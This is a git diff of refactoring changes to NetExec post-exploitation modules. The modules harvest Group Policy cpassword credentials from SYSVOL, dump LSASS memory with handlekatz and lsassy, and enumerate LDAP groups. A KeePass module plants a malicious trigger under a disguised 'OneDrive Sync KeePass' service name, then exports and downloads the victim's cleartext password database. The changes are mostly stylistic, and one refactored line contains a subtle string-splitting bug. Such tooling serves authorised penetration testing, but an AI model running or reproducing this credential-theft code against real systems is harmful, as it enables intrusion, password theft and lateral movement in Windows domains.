context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
@ -107,10 +102,6 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
answersFiltered.append([answer[0], description])
return answersFiltered

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
import json
@ -20,14 +17,11 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
No options
"""
pass
"""No options"""
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@ -35,6 +29,6 @@ class NXCModule:
data.append(cards)
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from io import BytesIO
@ -30,7 +27,7 @@ class NXCModule:
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@ -56,7 +53,7 @@ class NXCModule:
domains.append(attrs["value"])
if usernames or passwords:
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Usernames: {}".format(usernames))
context.log.highlight("Domains: {}".format(domains))
context.log.highlight("Passwords: {}".format(passwords))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import xml.etree.ElementTree as ET
from Cryptodome.Cipher import AES
from base64 import b64decode
@ -43,7 +40,7 @@ class NXCModule:
)
for path in paths:
context.log.display("Found {}".format(path))
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@ -57,10 +54,7 @@ class NXCModule:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.append("./Task/Properties")
sections.append("./ImmediateTask/Properties")
sections.append("./ImmediateTaskV2/Properties")
sections.append("./TaskV2/Properties")
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
@ -88,11 +82,11 @@ class NXCModule:
password = self.decrypt_cpassword(props["cpassword"])
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Password: {}".format(password))
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight("{}: {}".format(k, v))
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(

View File

@ -1,100 +1,91 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = 'group-mem'
description = 'Retrieves all the members within a Group'
supported_protocols = ['ldap']
name = "group-mem"
description = "Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
primaryGroupID = ''
primaryGroupID = ""
answers = []
def options(self, context, module_options):
'''
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
'''
"""
self.GROUP = ""
self.GROUP = ''
if 'GROUP' in module_options:
self.GROUP = module_options['GROUP']
if "GROUP" in module_options:
self.GROUP = module_options["GROUP"]
else:
context.log.error('GROUP option is required!')
exit(1)
context.log.error("GROUP option is required!")
sys.exit(1)
def on_login(self, context, connection):
#First look up the SID of the group passed in
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
#If no SID for the Group is returned exit the program
if searchResult is None:
search_result = do_search(self, context, connection, search_filter, attribute)
# If no SID for the Group is returned exit the program
if search_result is None:
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
return True
# Convert the binary SID to a primaryGroupID string to be used further
sidString = connection.sid_to_str(searchResult).split("-")
self.primaryGroupID = sidString[-1]
sid_string = connection.sid_to_str(search_result).split("-")
self.primaryGroupID = sid_string[-1]
#Look up the groups DN
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
# Look up the groups DN
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "distinguishedName"
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
# Carry out the search
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
attribute = "sAMAccountName"
searchResult = doSearch(self, context, connection, searchFilter, attribute)
search_result = do_search(self, context, connection, search_filter, attribute)
if len(self.answers) > 0:
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
context.log.success("Found the following members of the " + self.GROUP + " group:")
for answer in self.answers:
context.log.highlight(u'{}'.format(answer[0]))
context.log.highlight(f"{answer[0]}")
# Carry out an LDAP search for the Group with the supplied Group name
def doSearch(self,context, connection,searchFilter,attributeName):
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=[attributeName],
sizeLimit=0)
context.log.debug('Total no. of records returned %d' % len(resp))
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
attributeValue = '';
attribute_value = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == attributeName:
if attributeName == "objectSid":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
elif attributeName == "distinguishedName":
attributeValue = bytes(attribute['vals'][0])
return attributeValue;
for attribute in item["attributes"]:
if str(attribute["type"]) == attributeName:
if attributeName in ["objectSid", "distinguishedName"]:
return bytes(attribute["vals"][0])
else:
attributeValue = str(attribute['vals'][0])
if attributeValue is not None:
self.answers.append([attributeValue])
attribute_value = str(attribute["vals"][0])
if attribute_value is not None:
self.answers.append([attribute_value])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e}")
except Exception as e:
context.log.debug("Exception:", e)
context.log.debug(f"Exception: {e}")
return False

View File

@ -1,8 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
class NXCModule:
@ -21,27 +19,24 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
USER Choose a username to query group membership
"""
"""USER Choose a username to query group membership"""
self.user = ""
if "USER" in module_options:
if module_options["USER"] == "":
context.log.fail("Invalid value for USER option!")
exit(1)
sys.exit(1)
self.user = module_options["USER"]
else:
context.log.fail("Missing USER option, use --options to list available parameters")
exit(1)
sys.exit(1)
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
try:
context.log.debug("Search Filter=%s" % searchFilter)
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
@ -53,7 +48,6 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
context.log.debug(e)
return False
@ -61,7 +55,7 @@ class NXCModule:
memberOf = []
primaryGroupID = ""
context.log.debug("Total of records returned %d" % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@ -75,16 +69,12 @@ class NXCModule:
if str(primaryGroupID) == "513":
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
elif str(attribute["type"]) == "memberOf":
for group in attribute["vals"]:
if isinstance(group._value, bytes):
memberOf.append(str(group))
memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(memberOf) > 0:
context.log.success("User: {} is member of following groups: ".format(self.user))
context.log.success(f"User: {self.user} is member of following groups: ")
for group in memberOf:
# Split the string on the "," character to get a list of the group name and parent group names
group_parts = group.split(",")
@ -93,5 +83,4 @@ class NXCModule:
# and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
group_name = group_parts[0].split("=")[1]
# print("Group name: %s" % group_name)
context.log.highlight("{}".format(group_name))
context.log.highlight(f"{group_name}")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# handlekatz module for nxc python3
# author of the module : github.com/mpgn
# HandleKatz: https://github.com/codewhitesec/HandleKatz
@ -10,6 +7,7 @@ import re
import sys
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
class NXCModule:
@ -20,13 +18,12 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/)
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@ -52,12 +49,19 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
try:
with open(handlekatz_loc, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
except FileNotFoundError:
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
sys.exit(1)
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
with open(handlekatz_loc, "rb") as handlekatz:
try:
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
@ -73,7 +77,7 @@ class NXCModule:
p = p[0]
if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID")
context.log.fail("Failed to execute command to get LSASS PID")
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@ -121,17 +125,17 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
@ -177,4 +181,4 @@ class NXCModule:
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error opening dump file", str(e))
context.log.fail(f"Error opening dump file: {e}")

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Peter Gormington (@hackerm00n on Twitter)
import logging
from sqlite3 import connect
@ -12,7 +10,6 @@ from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
credentials_data = []
admin_results = []
found_users = []
reported_da = []
@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
session = driver.session()
list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.display("Connection Successful!")
except AuthError as e:
except AuthError:
context.log.fail("Invalid credentials")
except ServiceUnavailable as e:
except ServiceUnavailable:
context.log.fail("Could not connect to neo4j database")
except Exception as e:
context.log.fail("Error querying domain admins")
@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
def neo4j_local_admins(context, driver):
global admin_results
try:
session = driver.session()
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.fail("Could not pull admins")
exit()
admin_results = [record for record in admins.data()]
context.log.success("Admins and PCs obtained")
except Exception as e:
context.log.fail(f"Could not pull admins: {e}")
return None
return list(admins.data())
def create_db(local_admins, dbconnection, cursor):
@ -69,7 +65,7 @@ def create_db(local_admins, dbconnection, cursor):
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
dbconnection.commit()
@ -107,13 +103,13 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
paths = list(path_to_da.data())
for path in paths:
if path:
for key, value in path.items():
for value in path.values():
for item in value:
if type(item) == dict:
if isinstance(item, dict):
if {item["name"]} not in reported_da:
context.log.success(f"You have a valid path to DA as {item['name']}.")
reported_da.append({item["name"]})
@ -147,15 +143,17 @@ class NXCModule:
self.reset = None
self.reset_dumped = None
self.method = None
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
credential_type = "plaintext"
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
@ -173,7 +171,7 @@ class NXCModule:
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
logging.addLevelName(25, "SUCCESS")
setattr(logging, "success", lambda message, *args: ())
logging.success = lambda message, *args: ()
host = connection.host
domain_name = connection.domain
@ -198,7 +196,7 @@ class NXCModule:
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.fail("Unable to load dump method '{}'".format(self.method))
context.log.fail(f"Unable to load dump method '{self.method}'")
return False
file = dumper.dump()
if file is None:
@ -247,10 +245,10 @@ class NXCModule:
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
connection.domain = user[0].split("@")[1]
setattr(connection, "host", pc[0].split(".")[0])
setattr(connection, "username", user[0].split("@")[0])
setattr(connection, "nthash", user[1])
setattr(connection, "nthash", user[1])
connection.host = pc[0].split(".")[0]
connection.username = user[0].split("@")[0]
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
@ -302,7 +300,7 @@ class NXCModule:
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
neo4j_local_admins(context, driver)
admin_results = neo4j_local_admins(context, driver)
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.display("Running lsassy")

File diff suppressed because one or more lines are too long

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations

View File

@ -20,7 +20,7 @@ class NXCModule:
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
def options(self, context, module_options):
"""
r"""
SEARCH_TYPE Specify what to search, between:
PROCESS Look for running KeePass.exe process only
FILES Look for KeePass-related files (KeePass.config.xml, .kdbx, KeePass.exe) only, may take some time
@ -29,7 +29,6 @@ class NXCModule:
SEARCH_PATH Comma-separated remote locations where to search for KeePass-related files (you must add single quotes around the paths if they include spaces)
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
"""
if "SEARCH_PATH" in module_options:
self.search_path = module_options["SEARCH_PATH"]
@ -49,20 +48,14 @@ class NXCModule:
keepass_process_id = row[0]
keepass_process_username = row[1]
keepass_process_name = row[2]
context.log.highlight(
'Found process "{}" with PID {} (user {})'.format(
keepass_process_name,
keepass_process_id,
keepass_process_username,
)
)
context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})')
if row_number == 0:
context.log.display("No KeePass-related process was found")
# search for keepass-related files
if self.search_type == "ALL" or self.search_type == "FILES":
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
search_keepass_files_payload = f"Get-ChildItem -Path {self.search_path} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
search_keepass_files_cmd = f'powershell.exe "{search_keepass_files_payload}"'
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
found = False
found_xml = False
@ -71,7 +64,7 @@ class NXCModule:
if "xml" in file:
found_xml = True
found = True
context.log.highlight("Found {}".format(file))
context.log.highlight(f"Found {file}")
if not found:
context.log.display("No KeePass-related file were found")
elif not found_xml:

View File

@ -46,17 +46,17 @@ class NXCModule:
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1")) as remove_trigger_script_file:
self.remove_trigger_script_str = remove_trigger_script_file.read()
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1")) as add_trigger_script_file:
self.add_trigger_script_str = add_trigger_script_file.read()
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1")) as restart_keepass_script_file:
self.restart_keepass_script_str = restart_keepass_script_file.read()
def options(self, context, module_options):
"""
r"""
ACTION (mandatory) Performs one of the following actions, specified by the user:
ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file
CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's
@ -74,7 +74,7 @@ class NXCModule:
USER Targeted user running KeePass, used to restart the appropriate process
(used by RESTART action)
EXPORT_NAME Name fo the database export file, default: export.xml
EXPORT_NAME Name of the database export file, default: export.xml
EXPORT_PATH Path where to export the KeePass database in cleartext
default: C:\\Users\\Public, %APPDATA% works well too for user permissions
@ -86,7 +86,6 @@ class NXCModule:
Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.),
but they can still be easily edited in the module __init__ code if needed
"""
if "ACTION" in module_options:
if module_options["ACTION"] not in [
"ADD",
@ -98,12 +97,12 @@ class NXCModule:
"ALL",
]:
context.log.fail("Unrecognized action, use --options to list available parameters")
exit(1)
sys.exit(1)
else:
self.action = module_options["ACTION"]
else:
context.log.fail("Missing ACTION option, use --options to list available parameters")
exit(1)
sys.exit(1)
if "KEEPASS_CONFIG_PATH" in module_options:
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
@ -120,7 +119,7 @@ class NXCModule:
if "PSH_EXEC_METHOD" in module_options:
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
exit(1)
sys.exit(1)
else:
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
@ -141,7 +140,6 @@ class NXCModule:
def add_trigger(self, context, connection):
"""Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1"""
# check if the specified KeePass configuration file exists
if self.trigger_added(context, connection):
context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
@ -171,14 +169,13 @@ class NXCModule:
# checks if the malicious trigger was effectively added to the specified KeePass configuration file
if self.trigger_added(context, connection):
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
else:
context.log.fail(f"Unknown error when adding malicious trigger to file")
context.log.fail("Unknown error when adding malicious trigger to file")
sys.exit(1)
def check_trigger_added(self, context, connection):
"""check if the trigger is added to the config file XML tree"""
"""Check if the trigger is added to the config file XML tree"""
if self.trigger_added(context, connection):
context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
else:
@ -186,20 +183,19 @@ class NXCModule:
def restart(self, context, connection):
"""Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
If multiple process belonging to different users are running simultaneously,
relies on the USER option to choose which one to restart"""
If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart
"""
# search for keepass processes
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
# we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the header line
keepass_process_list = list(csv_reader)
# we return the powershell command as a CSV for easier column parsing, skipping the header line
csv_reader = reader(search_keepass_process_output_csv.split("\n")[1:], delimiter=",")
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
keepass_users = []
for process in keepass_process_list:
keepass_users.append(process[1])
keepass_users = [process[1] for process in list(csv_reader)]
if len(keepass_users) == 0:
context.log.fail("No running KeePass process found, aborting restart")
return
@ -223,7 +219,7 @@ class NXCModule:
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
return
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
context.log.display(f"Restarting {keepass_users[0]}'s KeePass process")
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
# see data/keepass_trigger_module/RestartKeePass.ps1
@ -234,27 +230,28 @@ class NXCModule:
# actually performs the restart on the remote target
if self.powershell_exec_method == "ENCODE":
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
restart_keepass_script_cmd = f"powershell.exe -e {restart_keepass_script_b64}"
connection.execute(restart_keepass_script_cmd)
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
except Exception as e:
context.log.fail("Error while restarting KeePass: {}".format(e))
context.log.fail(f"Error while restarting KeePass: {e}")
return
def poll(self, context, connection):
"""Search for the cleartext database export file in the specified export folder
(until found, or manually exited by the user)"""
(until found, or manually exited by the user)
"""
found = False
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
# we poll every X seconds until the export path is found on the remote machine
while not found:
@ -263,7 +260,7 @@ class NXCModule:
print(".", end="", flush=True)
sleep(self.poll_frequency_seconds)
continue
print("")
print()
# once a database is found, downloads it to the attackers machine
context.log.success("Found database export !")
@ -274,29 +271,26 @@ class NXCModule:
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
# if multiple exports found, add a number at the end of local path to prevent override
if count > 0:
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
else:
local_full_path = self.local_export_path + "/" + self.export_name
local_full_path = f"{self.local_export_path}/{self.export_name.split('.'[0])}_{count!s}.{self.export_name.split('.'[1])}" if count > 0 else f"{self.local_export_path}/{self.export_name}"
# downloads the exported database
with open(local_full_path, "wb") as f:
f.write(buffer.getbuffer())
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
connection.execute(remove_export_command_str, True)
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
context.log.success(f'Moved remote "{export_path}" to local "{local_full_path}"')
found = True
except Exception as e:
context.log.fail("Error while polling export files, exiting : {}".format(e))
context.log.fail(f"Error while polling export files, exiting : {e}")
def clean(self, context, connection):
"""Checks for database export + malicious trigger on the remote host, removes everything"""
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
